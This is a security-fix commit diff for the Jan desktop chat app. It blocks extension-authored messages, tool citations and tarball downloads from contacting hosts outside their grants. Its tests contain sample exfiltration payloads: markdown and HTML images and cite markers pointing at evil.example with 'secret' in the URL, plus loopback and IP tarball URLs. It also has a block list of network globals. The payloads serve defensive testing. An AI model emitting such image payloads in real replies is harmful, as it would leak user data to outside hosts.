Skip to content

armgit / jan

Public Imported from GitHub
0

Jan is an open source alternative to ChatGPT that runs 100% offline on your computer.

fix(extensions): keep extension-authored content from reaching hosts outside its grants (#9601)

Akarshan Biswasaf5e1f9904e9
diff --git a/packages/extension-runtime/src/__tests__/prelude.test.ts b/packages/extension-runtime/src/__tests__/prelude.test.ts
index 9b8b884fa..d74fa70c6 100644
--- a/packages/extension-runtime/src/__tests__/prelude.test.ts
+++ b/packages/extension-runtime/src/__tests__/prelude.test.ts
@@ -103,6 +103,10 @@ const KNOWN_NETWORK_AND_LOADER_GLOBALS = [
'Worker',
'SharedWorker',
'BroadcastChannel',
+ // WebRTC: not in a worker scope today, but connect-src does not govern it.
+ 'RTCPeerConnection',
+ 'webkitRTCPeerConnection',
+ 'RTCDataChannel',
]
describe('stripped globals', () => {
diff --git a/packages/extension-runtime/src/testing/harness.ts b/packages/extension-runtime/src/testing/harness.ts
index 0d1baa499..3e8ab0254 100644
--- a/packages/extension-runtime/src/testing/harness.ts
+++ b/packages/extension-runtime/src/testing/harness.ts
@@ -21,6 +21,9 @@ const NETWORK_GLOBALS = [
'Notification',
'indexedDB',
'caches',
+ 'RTCPeerConnection',
+ 'webkitRTCPeerConnection',
+ 'RTCDataChannel',
] as const
export interface SandboxOptions {
diff --git a/packages/extension-runtime/src/worker/strip.ts b/packages/extension-runtime/src/worker/strip.ts
index f04145ae1..f9c04a95e 100644
--- a/packages/extension-runtime/src/worker/strip.ts
+++ b/packages/extension-runtime/src/worker/strip.ts
@@ -10,7 +10,9 @@ import type { Realm } from './realm.js'
* This list is the second layer. The app creates every worker under its
* own CSP (`default-src 'none'`, web-app worker-runtime.ts WORKER_CSP), so
* the engine refuses network access through any primitive, listed here or
- * not; `import()` and `FontFace` are left to that policy alone.
+ * not; `import()` and `FontFace` are left to that policy alone. WebRTC is
+ * the exception: `connect-src` does not govern it, so its constructors are
+ * listed even though no engine exposes them to workers yet.
*/
export const STRIPPED_GLOBALS = [
'fetch',
@@ -26,6 +28,9 @@ export const STRIPPED_GLOBALS = [
'Notification',
'indexedDB',
'caches',
+ 'RTCPeerConnection',
+ 'webkitRTCPeerConnection',
+ 'RTCDataChannel',
'__TAURI__',
'__TAURI_INTERNALS__',
'__TAURI_IPC__',
diff --git a/src-tauri/plugins/tauri-plugin-extensions/src/index.rs b/src-tauri/plugins/tauri-plugin-extensions/src/index.rs
index cf2456c62..27a3766da 100644
--- a/src-tauri/plugins/tauri-plugin-extensions/src/index.rs
+++ b/src-tauri/plugins/tauri-plugin-extensions/src/index.rs
@@ -175,6 +175,11 @@ pub fn parse(bytes: &[u8]) -> Result<CuratedIndex> {
if !is_https(&v.tarball) {
return bad(format!("a tarball for {at} that is not https"));
}
+ // `is_https` above parsed it; this adds the host rules hops get.
+ let tarball = Url::parse(&v.tarball).ok();
+ if let Some(reason) = tarball.as_ref().and_then(tarball_url_refusal) {
+ return bad(format!("a tarball for {at} with {reason}"));
+ }
if !is_sri(&v.integrity) {
return bad(format!("an integrity for {at} that is not a sha512 SRI"));
}
@@ -244,34 +249,36 @@ pub fn resolve<'a>(index: &'a CuratedIndex, id: &str, version: &str) -> Result<&
.ok_or_else(|| Error::NotFound(format!("the index does not list {id}@{version}")))
}
-/// Why a redirect of a tarball download is refused, if it is.
+/// Why a tarball URL is refused, if it is: the listed URL and every
+/// redirect hop after it.
///
/// Redirects stay allowed because common tarball hosts (GitHub release
-/// assets, CDNs) answer with one to another host. A hop must stay on https
-/// and name a host by DNS: an IP literal or a localhost name is refused, so
-/// a listing cannot bounce Jan onto loopback or a private address it spells
-/// out. A name that resolves to a private address is the accepted DNS risk
-/// described in [`crate::http`]; TLS still has to verify for it.
-pub fn redirect_refusal(url: &Url) -> Option<&'static str> {
+/// assets, CDNs) answer with one to another host. Every URL must stay on
+/// https and name a host by DNS: an IP literal or a localhost name is
+/// refused, so a listing cannot point or bounce Jan onto loopback or a
+/// private address it spells out. A name that resolves to a private address
+/// is the accepted DNS risk described in [`crate::http`]; TLS still has to
+/// verify for it.
+pub fn tarball_url_refusal(url: &Url) -> Option<&'static str> {
if url.scheme() != "https" {
- return Some("redirect away from https");
+ return Some("a scheme other than https");
}
match url.host() {
Some(url::Host::Domain(name)) => {
let name = name.trim_end_matches('.').to_ascii_lowercase();
if name == "localhost" || name.ends_with(".localhost") {
- Some("redirect to localhost")
+ Some("a localhost host")
} else {
None
}
}
- Some(_) => Some("redirect to an IP address"),
- None => Some("redirect without a host"),
+ Some(_) => Some("an IP address host"),
+ None => Some("no host"),
}
}
/// The client used for tarballs: no cookies, at most 5 redirects, each
-/// checked by [`redirect_refusal`]. Index documents use
+/// checked by [`tarball_url_refusal`]. Index documents use
/// [`document_client`], which follows none.
pub fn client() -> Result<reqwest::Client> {
reqwest::Client::builder()
@@ -279,8 +286,8 @@ pub fn client() -> Result<reqwest::Client> {
if attempt.previous().len() >= 5 {
return attempt.error("too many redirects");
}
- match redirect_refusal(attempt.url()) {
- Some(reason) => attempt.error(reason),
+ match tarball_url_refusal(attempt.url()) {
+ Some(reason) => attempt.error(format!("redirect to {reason}")),
None => attempt.follow(),
}
}))
@@ -382,12 +389,19 @@ pub async fn fetch_index_at(client: &reqwest::Client, url: &Url, public_key: Opt
verify_and_parse(&bytes, signature, public_key)
}
-/// Downloads the tarball of `version` (https only, at most 50 MiB) and
-/// checks it against the pinned SRI.
+/// Downloads the tarball of `version` (https to a named host, at most
+/// 50 MiB) and checks it against the pinned SRI.
pub async fn download_tarball(client: &reqwest::Client, version: &IndexVersion) -> Result<Vec<u8>> {
if !is_https(&version.tarball) {
return Err(Error::Invalid(format!("{} is not an https URL", version.tarball)));
}
+ // Checked here as well as in `parse`: the redirect policy only sees hops,
+ // never the first URL.
+ let url = Url::parse(&version.tarball)
+ .map_err(|e| Error::Invalid(format!("{} is not a valid URL: {e}", version.tarball)))?;
+ if let Some(reason) = tarball_url_refusal(&url) {
+ return Err(Error::Invalid(format!("{} has {reason}", version.tarball)));
+ }
let bytes = get_capped(client, &version.tarball, MAX_TARBALL_BYTES, TARBALL_TIMEOUT).await?;
integrity::verify(&bytes, &version.integrity)?;
Ok(bytes)
@@ -399,8 +413,8 @@ mod tests {
use serde_json::json;
#[test]
- fn redirects_only_reach_named_https_hosts() {
- let refused = |u: &str| redirect_refusal(&Url::parse(u).unwrap());
+ fn tarball_hops_only_reach_named_https_hosts() {
+ let refused = |u: &str| tarball_url_refusal(&Url::parse(u).unwrap());
for ok in [
"https://objects.githubusercontent.com/x.tgz",
"https://cdn.example.com/a",
@@ -485,6 +499,30 @@ mod tests {
}
}
+ #[test]
+ fn rejects_a_tarball_on_loopback_or_an_ip() {
+ for url in [
+ "https://127.0.0.1/x.tgz",
+ "https://10.0.0.5:8443/x.tgz",
+ "https://[::1]/x.tgz",
+ "https://localhost/x.tgz",
+ "https://api.localhost./x.tgz",
+ ] {
+ let mut v = sample();
+ v["extensions"][0]["versions"][0]["tarball"] = json!(url);
+ assert!(parse_value(&v).is_err(), "{url}");
+ }
+ }
+
+ #[tokio::test]
+ async fn download_refuses_a_tarball_on_loopback() {
+ let mut index = parse_value(&sample()).unwrap();
+ let mut version = index.extensions.remove(0).versions.remove(0);
+ version.tarball = "https://127.0.0.1:9/x.tgz".into();
+ let err = download_tarball(&client().unwrap(), &version).await.unwrap_err();
+ assert!(matches!(err, Error::Invalid(_)), "{err}");
+ }
+
#[test]
fn rejects_a_bad_sri() {
for sri in ["sha1-abc", "sha512-", "sha512-%%%", "sha256-47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU="] {
diff --git a/web-app/src/components/Citations.tsx b/web-app/src/components/Citations.tsx
index b05bec0cb..b2d4f8997 100644
--- a/web-app/src/components/Citations.tsx
+++ b/web-app/src/components/Citations.tsx
@@ -6,6 +6,7 @@ import {
useEnsureAttachmentNames,
} from '@/hooks/useAttachmentNames'
import { ExternalAnchor } from '@/components/ExternalAnchor'
+import { useRemoteImagesAllowed } from '@/lib/extensions/remoteImages'
export type RagCitation = {
id: string
@@ -96,6 +97,7 @@ RagCitationItem.displayName = 'RagCitationItem'
const WebCitationItem = memo(({ c }: { c: WebCitation }) => {
const [expanded, setExpanded] = useState(false)
+ const remoteImages = useRemoteImagesAllowed()
let host = ''
try {
host = new URL(c.url).hostname.replace(/^www\./, '')
@@ -105,7 +107,7 @@ const WebCitationItem = memo(({ c }: { c: WebCitation }) => {
return (
<li className="rounded-md border bg-card/40 px-3 py-2 text-xs">
<div className="flex items-center gap-2">
- {c.favicon ? (
+ {c.favicon && remoteImages ? (
<img
src={c.favicon}
alt=""
diff --git a/web-app/src/components/WebCitationChip.tsx b/web-app/src/components/WebCitationChip.tsx
index 5e6b8d7b3..9421927d2 100644
--- a/web-app/src/components/WebCitationChip.tsx
+++ b/web-app/src/components/WebCitationChip.tsx
@@ -1,4 +1,5 @@
import { memo } from 'react'
+import { IconLink } from '@tabler/icons-react'
import {
HoverCard,
HoverCardContent,
@@ -8,6 +9,7 @@ import { useWebCitationStore } from '@/stores/web-citation-store'
import { cn } from '@/lib/utils'
import { faviconForUrl, hostOf } from '@/lib/webUrl'
import { ExternalAnchor } from '@/components/ExternalAnchor'
+import { useRemoteImagesAllowed } from '@/lib/extensions/remoteImages'
export const WebCitationChip = memo(
({ messageId, url }: { messageId?: string; url: string }) => {
@@ -15,7 +17,12 @@ export const WebCitationChip = memo(
messageId ? s.byMessageId[messageId]?.[url] : undefined
)
const host = hostOf(url)
- const favicon = citation?.favicon || faviconForUrl(url)
+ // Off in content an extension authored: the favicon is fetched from a host
+ // the citation names, or from the favicon service with that host in the
+ // query, so the extension could reach any host through it.
+ const favicon = useRemoteImagesAllowed()
+ ? citation?.favicon || faviconForUrl(url)
+ : undefined
return (
<HoverCard openDelay={80} closeDelay={120}>
<HoverCardTrigger asChild>
@@ -24,11 +31,18 @@ export const WebCitationChip = memo(
className="mx-0.5 inline-flex translate-y-[-0.15em] align-baseline no-underline"
title={citation?.title || url}
>
- <img
- src={favicon}
- alt=""
- className="inline-block size-3.5 rounded-full border border-border/60 bg-white object-contain hover:ring-2 hover:ring-primary/40"
- />
+ {favicon ? (
+ <img
+ src={favicon}
+ alt=""
+ className="inline-block size-3.5 rounded-full border border-border/60 bg-white object-contain hover:ring-2 hover:ring-primary/40"
+ />
+ ) : (
+ <IconLink
+ aria-hidden
+ className="inline-block size-3.5 rounded-full border border-border/60 text-muted-foreground hover:ring-2 hover:ring-primary/40"
+ />
+ )}
</ExternalAnchor>
</HoverCardTrigger>
<HoverCardContent
@@ -37,11 +51,18 @@ export const WebCitationChip = memo(
className="w-72 space-y-2 p-3 text-xs"
>
<div className="flex items-center gap-2">
- <img
- src={favicon}
- alt=""
- className="size-4 shrink-0 rounded-full border border-border/60 bg-white object-contain"
- />
+ {favicon ? (
+ <img
+ src={favicon}
+ alt=""
+ className="size-4 shrink-0 rounded-full border border-border/60 bg-white object-contain"
+ />
+ ) : (
+ <IconLink
+ aria-hidden
+ className="size-4 shrink-0 text-muted-foreground"
+ />
+ )}
<span className="truncate text-muted-foreground">{host}</span>
</div>
<ExternalAnchor
diff --git a/web-app/src/components/WebSourcesRow.tsx b/web-app/src/components/WebSourcesRow.tsx
index f5f4e1895..8e0fdb7ea 100644
--- a/web-app/src/components/WebSourcesRow.tsx
+++ b/web-app/src/components/WebSourcesRow.tsx
@@ -4,11 +4,13 @@ import { ChevronRightIcon } from 'lucide-react'
import { cn } from '@/lib/utils'
import { Citations, type WebCitation } from '@/components/Citations'
import { faviconForUrl } from '@/lib/webUrl'
+import { useRemoteImagesAllowed } from '@/lib/extensions/remoteImages'
export const WebSourcesRow = memo(
({ citations }: { citations: WebCitation[] }) => {
const { t } = useTranslation()
const [expanded, setExpanded] = useState(false)
+ const remoteImages = useRemoteImagesAllowed()
const unique = useMemo(() => {
const seen = new Set<string>()
@@ -33,16 +35,18 @@ export const WebSourcesRow = memo(
className="inline-flex items-center gap-2 rounded-full border bg-card/40 py-1 pl-1.5 pr-2.5 text-xs text-muted-foreground transition-colors hover:bg-card/70"
aria-expanded={expanded}
>
- <span className="flex -space-x-1.5">
- {preview.map((c) => (
- <img
- key={c.url}
- src={c.favicon || faviconForUrl(c.url)}
- alt=""
- className="size-4 rounded-full border border-border/60 bg-white object-contain"
- />
- ))}
- </span>
+ {remoteImages && (
+ <span className="flex -space-x-1.5">
+ {preview.map((c) => (
+ <img
+ key={c.url}
+ src={c.favicon || faviconForUrl(c.url)}
+ alt=""
+ className="size-4 rounded-full border border-border/60 bg-white object-contain"
+ />
+ ))}
+ </span>
+ )}
<span className="font-medium">
{t('chat:webSources', { count: unique.length })}
</span>
diff --git a/web-app/src/components/ai-elements/__tests__/tool.test.tsx b/web-app/src/components/ai-elements/__tests__/tool.test.tsx
index b5e664d85..a31bcebbc 100644
--- a/web-app/src/components/ai-elements/__tests__/tool.test.tsx
+++ b/web-app/src/components/ai-elements/__tests__/tool.test.tsx
@@ -102,6 +102,21 @@ describe('ToolApprovalActions', () => {
).toBeInTheDocument()
})
+ // A strict request saves no grant, so it offers only this call.
+ it('offers only this call for a strict request', () => {
+ renderApproval({
+ tc1: { toolCallId: 'tc1', toolName: 'web_fetch', strict: true },
+ })
+ expect(screen.getByText('tools:toolApproval.allowOnce')).toBeInTheDocument()
+ expect(screen.getByText('tools:toolApproval.deny')).toBeInTheDocument()
+ expect(
+ screen.queryByText('tools:toolApproval.allowInThread')
+ ).not.toBeInTheDocument()
+ expect(
+ screen.queryByText(/tools:toolApproval.allowToolAlways/)
+ ).not.toBeInTheDocument()
+ })
+
it('grants each scope the reader picked', () => {
renderApproval({
tc1: { toolCallId: 'tc1', toolName: 'create_issue', serverName: 'github' },
diff --git a/web-app/src/components/ai-elements/tool.tsx b/web-app/src/components/ai-elements/tool.tsx
index 5c4ca226b..f0901ecc5 100644
--- a/web-app/src/components/ai-elements/tool.tsx
+++ b/web-app/src/components/ai-elements/tool.tsx
@@ -371,27 +371,33 @@ export const ToolApprovalActions = memo(() => {
>
{t('tools:toolApproval.allowOnce')}
</Button>
- <Button
- size="sm"
- variant="outline"
- onClick={() => resolveApproval(toolCallId, 'allow-thread')}
- >
- {t('tools:toolApproval.allowInThread')}
- </Button>
- <Button
- size="sm"
- autoFocus
- onClick={() => resolveApproval(toolCallId, 'allow-always')}
- >
- {/* Trusting a server tool-by-tool is the same decision repeated. */}
- {pending.serverName
- ? t('tools:toolApproval.allowServerAlways', {
- server: pending.serverName,
- })
- : t('tools:toolApproval.allowToolAlways', {
- tool: pending.toolName,
- })}
- </Button>
+ {/* A strict request saves no grant (see ApprovalOptions.strict), so
+ offering a wider scope would be a promise it does not keep. */}
+ {!pending.strict && (
+ <>
+ <Button
+ size="sm"
+ variant="outline"
+ onClick={() => resolveApproval(toolCallId, 'allow-thread')}
+ >
+ {t('tools:toolApproval.allowInThread')}
+ </Button>
+ <Button
+ size="sm"
+ autoFocus
+ onClick={() => resolveApproval(toolCallId, 'allow-always')}
+ >
+ {/* Trusting a server tool-by-tool is the same decision repeated. */}
+ {pending.serverName
+ ? t('tools:toolApproval.allowServerAlways', {
+ server: pending.serverName,
+ })
+ : t('tools:toolApproval.allowToolAlways', {
+ tool: pending.toolName,
+ })}
+ </Button>
+ </>
+ )}
</div>
</div>
)
diff --git a/web-app/src/containers/MessageItem.test.tsx b/web-app/src/containers/MessageItem.test.tsx
index 4e1289fc7..99b3e7bd2 100644
--- a/web-app/src/containers/MessageItem.test.tsx
+++ b/web-app/src/containers/MessageItem.test.tsx
@@ -7,6 +7,7 @@ import {
useContributions,
} from '@/lib/extensions/contributions'
import { manifest } from '@/lib/extensions/__tests__/fixtures'
+import { toolWireName } from '@/lib/extensions/tools'
vi.mock('@/i18n/react-i18next-compat', () => ({
useTranslation: () => ({ t: (k: string) => k }),
@@ -114,3 +115,95 @@ describe('extension message actions', () => {
}
})
})
+
+// janhq/jan-internal#517: a message an extension wrote (or its provider
+// streamed) must not make the app contact any host.
+describe('extension-authored messages', () => {
+ const message = (metadata?: Record<string, unknown>) =>
+ ({
+ id: 'm3',
+ role: 'assistant',
+ metadata,
+ parts: [
+ { type: 'text', text: 'see ![p](https://evil.example/p?d=secret)' },
+ {
+ type: 'file',
+ mediaType: 'image/png',
+ url: 'https://evil.example/f.png',
+ },
+ {
+ type: 'file',
+ mediaType: 'image/png',
+ url: 'data:image/png;base64,iVBORw0KGgo=',
+ },
+ ],
+ }) as UIMessage
+
+ const srcs = (container: HTMLElement) =>
+ Array.from(container.querySelectorAll('img')).map((i) =>
+ i.getAttribute('src')
+ )
+
+ it('loads only inline images', () => {
+ const { container } = render(
+ <MessageItem
+ message={message({ extensionAuthor: 'acme.writer' })}
+ isFirstMessage={false}
+ isLastMessage={false}
+ status="ready"
+ />
+ )
+ expect(srcs(container)).toEqual(['data:image/png;base64,iVBORw0KGgo='])
+ })
+
+ it('leaves other assistant messages as they were', () => {
+ const { container } = render(
+ <MessageItem
+ message={message()}
+ isFirstMessage={false}
+ isLastMessage={false}
+ status="ready"
+ />
+ )
+ expect(srcs(container)).toEqual(
+ expect.arrayContaining([
+ 'https://evil.example/p?d=secret',
+ 'https://evil.example/f.png',
+ ])
+ )
+ })
+})
+
+describe('citations from extension tools', () => {
+ const wire = toolWireName('acme.search', 'search')
+ const output = JSON.stringify({
+ results: [{ url: 'https://a.example/', favicon: 'https://evil.example/t' }],
+ })
+
+ it('never fetches a favicon, even in a built-in model reply', () => {
+ const { container } = render(
+ <MessageItem
+ message={
+ {
+ id: 'm4',
+ role: 'assistant',
+ parts: [
+ {
+ type: `tool-${wire}`,
+ toolCallId: 'c1',
+ state: 'output-available',
+ input: {},
+ output,
+ } as never,
+ { type: 'text', text: 'done' },
+ ],
+ } as UIMessage
+ }
+ isFirstMessage={false}
+ isLastMessage={false}
+ status="ready"
+ />
+ )
+ expect(container.querySelector('img')).toBeNull()
+ })
+})
diff --git a/web-app/src/containers/MessageItem.tsx b/web-app/src/containers/MessageItem.tsx
index 773fb54a7..4c3c19d49 100644
--- a/web-app/src/containers/MessageItem.tsx
+++ b/web-app/src/containers/MessageItem.tsx
@@ -9,6 +9,9 @@ import { ChainOfThoughtGroup } from './message/ChainOfThoughtGroup'
import { AskSummaryCard } from './message/AskSummaryCard'
import { summarizeAsk } from '@/lib/coworkAsk'
import { ASK_TOOL_NAME } from '@/lib/coworkTools'
+import { extensionAuthorOf } from '@/lib/extensions/authorship'
+import { withRemoteImages } from '@/lib/extensions/remoteImages'
+import { isExtensionToolName } from '@/lib/extensions/tools'
import {
CHAT_STATUS,
CONTENT_TYPE,
@@ -126,6 +129,9 @@ export const MessageItem = memo(
const selectedModel = useModelProvider((state) => state.selectedModel)
const coloredUserBubble = useInterfaceSettings((s) => s.coloredUserBubble)
const metadata = message.metadata as Record<string, unknown> | undefined
+ // Written by a third-party extension: nothing in it may load from the
+ // network (see lib/extensions/authorship).
+ const extensionAuthored = extensionAuthorOf(metadata) !== undefined
const messageError = useMessageErrors((s) => s.errors[message.id])
const createdAt = (metadata?.createdAt as Date) ?? new Date()
// Machine-readable stamp for <time>; toISOString throws on an invalid date,
@@ -235,6 +241,9 @@ export const MessageItem = memo(
const part = parts[i]
if (!part.type?.startsWith('tool-')) continue
if (part.state !== 'output-available') continue
+ // A contributed tool's output is its extension's text: citations in
+ // it would put favicons from any host in the footer and the chips.
+ if (isExtensionToolName(part.type.slice('tool-'.length))) continue
const parsed = parseCitationsFromToolOutput(part.output)
if (parsed?.kind === 'rag') {
offsets.set(i, out.length)
@@ -421,6 +430,7 @@ export const MessageItem = memo(
isStreaming={isStreaming && isLastPart}
messageId={message.id}
isAnimating={isAnimating}
+ noRemoteImages={extensionAuthored}
/>
</>
)}
@@ -433,6 +443,14 @@ export const MessageItem = memo(
const isAudio =
part.mediaType === 'audio/wav' || part.mediaType === 'audio/mpeg'
const isVideo = part.mediaType?.startsWith('video/')
+ // Only inline media for extension-authored messages: a URL would be
+ // fetched from whatever host it names.
+ if (
+ extensionAuthored &&
+ part.url &&
+ !/^(data|blob):/i.test(part.url)
+ )
+ return null
if (isAudio && part.url) {
const justify =
@@ -578,6 +596,7 @@ export const MessageItem = memo(
grounding,
awaitingApproval,
citationOffsets,
+ extensionAuthored,
])
const versionNav =
@@ -628,7 +647,10 @@ export const MessageItem = memo(
)
}
- return (
+ // Off for a message an extension authored: every widget below that would
+ // fetch an image by URL (citation favicons, the web tool bar) reads it.
+ return withRemoteImages(
+ !extensionAuthored,
<div
data-testid="message-item"
data-message-role={message.role}
diff --git a/web-app/src/containers/RenderMarkdown.tsx b/web-app/src/containers/RenderMarkdown.tsx
index 2b44f61c5..53059ab58 100644
--- a/web-app/src/containers/RenderMarkdown.tsx
+++ b/web-app/src/containers/RenderMarkdown.tsx
@@ -29,6 +29,10 @@ import { CitationLink } from '@/components/CitationLink'
import { WebCitationChip } from '@/components/WebCitationChip'
import { MarkdownTable } from '@/components/MarkdownTable'
import { externalHref, openExternalUrl } from '@/lib/externalLink'
+import {
+ useRemoteImagesAllowed,
+ withRemoteImages,
+} from '@/lib/extensions/remoteImages'
// Do not resolve model-generated links against the app's own origin.
function isWebLink(href: string | undefined): boolean {
@@ -75,6 +79,29 @@ function restrictChatLinks() {
}
}
+// Replaces every <img> whose source is not an inline `data:` image with its
+// alt text. Runs after the hardener, which resolves relative and
+// protocol-relative sources, so anything left that is not `data:` would make
+// a request.
+function dropRemoteImages() {
+ return (tree: Root) => {
+ visit(tree, 'element', (node, index, parent) => {
+ if (node.tagName !== 'img' || !parent || index === undefined) return
+ const src = node.properties.src
+ if (typeof src === 'string' && src.startsWith('data:image/')) return
+ const alt = node.properties.alt
+ parent.children.splice(
+ index,
+ 1,
+ ...(typeof alt === 'string' && alt
+ ? [{ type: 'text' as const, value: alt }]
+ : [])
+ )
+ return [SKIP, index]
+ })
+ }
+}
+
const WEB_CITE_MARKER = /\[\[cite:\s*([^\]\s]+?)\s*\]\]/g
// Models sometimes drop the scheme (e.g. "example.com/x"); normalize to https.
@@ -101,6 +128,14 @@ interface MarkdownProps {
isStreaming?: boolean
messageId?: string
isAnimating?: boolean
+ /**
+ * Content a third-party extension authored (see lib/extensions/authorship).
+ * Remote images, mermaid diagrams and citation favicons are not loaded:
+ * the app's img-src allows any https host, so any of them would let the
+ * extension reach a host it holds no `network:` grant for. Inline `data:`
+ * images still render. Also on whenever `RemoteImagesContext` is off.
+ */
+ noRemoteImages?: boolean
}
// Hoisted so their identity is stable across renders — Streamdown is memoized
@@ -108,7 +143,12 @@ interface MarkdownProps {
// a full re-parse + re-highlight on every streamed token.
const REMARK_PLUGINS = [remarkGfm, remarkMath, disableIndentedCodeBlockPlugin]
const REHYPE_PLUGINS = [rehypeKatex, restrictChatLinks, defaultRehypePlugins.harden]
+const NO_REMOTE_IMAGE_REHYPE_PLUGINS = [...REHYPE_PLUGINS, dropRemoteImages]
const STREAMDOWN_PLUGINS = { code, mermaid, cjk }
+// Mermaid draws in the browser, after the rehype pass, and its image shape
+// (`A@{ img: "https://..." }`) loads whatever URL the diagram names. Content
+// an extension authored keeps its diagrams as code blocks instead.
+const NO_REMOTE_IMAGE_STREAMDOWN_PLUGINS = { code, cjk }
const STREAMDOWN_CONTROLS = { mermaid: { fullscreen: false } }
const LINK_SAFETY = { enabled: false }
const EMPTY_MERMAID = {}
@@ -256,7 +296,10 @@ function RenderMarkdownComponent({
messageId,
isAnimating,
isStreaming,
+ noRemoteImages: noRemoteImagesProp,
}: MarkdownProps) {
+ const remoteImagesAllowed = useRemoteImagesAllowed()
+ const noRemoteImages = noRemoteImagesProp || !remoteImagesAllowed
const renderHtmlArtifacts = useInterfaceSettings(
(s) => s.renderHtmlArtifacts
)
@@ -339,7 +382,8 @@ function RenderMarkdownComponent({
: null
}, [normalizedContent, isStreaming, renderHtmlArtifacts])
- return (
+ return withRemoteImages(
+ !noRemoteImages,
<div
dir="auto"
className={cn(
@@ -368,6 +412,7 @@ function RenderMarkdownComponent({
messageId={messageId}
className={className}
components={mergedComponents}
+ noRemoteImages={noRemoteImages}
/>
)
)
@@ -379,6 +424,7 @@ function RenderMarkdownComponent({
messageId={messageId}
className={className}
components={mergedComponents}
+ noRemoteImages={noRemoteImages}
/>
)}
</div>
@@ -392,6 +438,7 @@ interface StreamdownViewProps {
isStreaming?: boolean
isAnimating?: boolean
messageId?: string
+ noRemoteImages?: boolean
}
function StreamdownViewComponent({
@@ -401,6 +448,7 @@ function StreamdownViewComponent({
isStreaming,
isAnimating,
messageId,
+ noRemoteImages,
}: StreamdownViewProps) {
const mermaidOptions = useMemo(
() =>
@@ -436,9 +484,13 @@ function StreamdownViewComponent({
linkSafety={LINK_SAFETY}
className={mergedClassName}
remarkPlugins={REMARK_PLUGINS}
- rehypePlugins={REHYPE_PLUGINS}
+ rehypePlugins={
+ noRemoteImages ? NO_REMOTE_IMAGE_REHYPE_PLUGINS : REHYPE_PLUGINS
+ }
components={effectiveComponents}
- plugins={STREAMDOWN_PLUGINS}
+ plugins={
+ noRemoteImages ? NO_REMOTE_IMAGE_STREAMDOWN_PLUGINS : STREAMDOWN_PLUGINS
+ }
controls={STREAMDOWN_CONTROLS}
mermaid={mermaidOptions}
>
@@ -452,5 +504,6 @@ export const RenderMarkdown = memo(
RenderMarkdownComponent,
(prevProps, nextProps) =>
prevProps.content === nextProps.content &&
- prevProps.isStreaming === nextProps.isStreaming
+ prevProps.isStreaming === nextProps.isStreaming &&
+ prevProps.noRemoteImages === nextProps.noRemoteImages
)
diff --git a/web-app/src/containers/__tests__/CoworkModelControls.test.tsx b/web-app/src/containers/__tests__/CoworkModelControls.test.tsx
index 41c219bde..e0e28aebe 100644
--- a/web-app/src/containers/__tests__/CoworkModelControls.test.tsx
+++ b/web-app/src/containers/__tests__/CoworkModelControls.test.tsx
@@ -6,6 +6,7 @@ import { useModelProvider } from '@/hooks/useModelProvider'
import { useCoworkSessions } from '@/hooks/useCoworkSessions'
import { useCoworkRun } from '@/hooks/useCoworkRun'
import {
+ coworkAllowsProvider,
coworkModelContext,
increaseCoworkContext,
nextCoworkContextSize,
@@ -80,6 +81,20 @@ beforeEach(() => {
useCoworkRun.setState({ runId: {} })
})
+// janhq/jan-internal#517: Cowork runs tools without asking, so a model an
+// extension serves could reach any host through them.
+describe('Cowork providers', () => {
+ it('refuses a provider an extension contributed', () => {
+ expect(coworkAllowsProvider(undefined)).toBe(true)
+ expect(coworkAllowsProvider({})).toBe(true)
+ expect(
+ coworkAllowsProvider({
+ source: { extensionId: 'acme.provider', extensionName: 'Acme' },
+ })
+ ).toBe(false)
+ })
+})
+
describe('Cowork context recovery settings', () => {
it('uses Chat steps without exceeding the supported maximum', () => {
expect(nextCoworkContextSize(4096, 10000)).toBe(8192)
diff --git a/web-app/src/containers/__tests__/RenderMarkdown.plugins.test.tsx b/web-app/src/containers/__tests__/RenderMarkdown.plugins.test.tsx
new file mode 100644
index 000000000..06bd5343d
--- /dev/null
+++ b/web-app/src/containers/__tests__/RenderMarkdown.plugins.test.tsx
@@ -0,0 +1,26 @@
+import { render } from '@testing-library/react'
+import { describe, it, expect, vi } from 'vitest'
+
+// Mermaid renders in the browser after the rehype pass, and its image shape
+// (`A@{ img: "https://..." }`) loads a URL that no hast plugin ever sees. So
+// the only safe answer for extension-authored content is to not run it.
+const seen = vi.hoisted(() => ({ plugins: [] as Array<Record<string, unknown>> }))
+vi.mock('streamdown', async (importOriginal) => ({
+ ...(await importOriginal<typeof import('streamdown')>()),
+ Streamdown: ({ plugins }: { plugins: Record<string, unknown> }) => {
+ seen.plugins.push(plugins)
+ return null
+ },
+}))
+
+import { RenderMarkdown } from '../RenderMarkdown'
+
+describe('RenderMarkdown plugins', () => {
+ it('runs mermaid only for content no extension authored', () => {
+ render(<RenderMarkdown content="a" />)
+ render(<RenderMarkdown content="b" noRemoteImages />)
+ expect(seen.plugins[0]).toHaveProperty('mermaid')
+ expect(seen.plugins[1]).not.toHaveProperty('mermaid')
+ expect(seen.plugins[1]).toHaveProperty('code')
+ })
+})
diff --git a/web-app/src/containers/__tests__/RenderMarkdown.test.tsx b/web-app/src/containers/__tests__/RenderMarkdown.test.tsx
index 2f83da157..2bb754565 100644
--- a/web-app/src/containers/__tests__/RenderMarkdown.test.tsx
+++ b/web-app/src/containers/__tests__/RenderMarkdown.test.tsx
@@ -738,5 +738,58 @@ describe('RenderMarkdown', () => {
expect(openExternalUrl).not.toHaveBeenCalled()
})
})
-})
+ // Content an extension authored (an appended message, its provider's reply)
+ // must not make the app contact a host: the app CSP allows any https image.
+ describe('noRemoteImages', () => {
+ const remote = [
+ '![pixel](https://evil.example/p?d=secret)',
+ '![pixel](http://evil.example/p)',
+ '![pixel](//evil.example/p)',
+ '[![pixel](https://evil.example/p)](https://example.com)',
+ '<img src="https://evil.example/p">',
+ '[cite](#webcite-https%3A%2F%2Fevil.example%2Fsecret)',
+ 'Fact.[[cite:https://evil.example/secret]]',
+ ]
+
+ it.each(remote)('renders %s without loading anything', (content) => {
+ for (const isStreaming of [false, true]) {
+ const { container, unmount } = render(
+ <RenderMarkdown
+ content={content}
+ isStreaming={isStreaming}
+ noRemoteImages
+ />
+ )
+ expect(container.querySelector('img')).toBeNull()
+ unmount()
+ }
+ })
+
+ it('keeps the alt text of a blocked image', () => {
+ const { container } = render(
+ <RenderMarkdown content={'![a chart](https://x.example/c.png)'} noRemoteImages />
+ )
+ expect(container).toHaveTextContent('a chart')
+ })
+
+ it('still renders an inline data image', () => {
+ const { container } = render(
+ <RenderMarkdown
+ content={'![dot](data:image/png;base64,iVBORw0KGgo=)'}
+ noRemoteImages
+ />
+ )
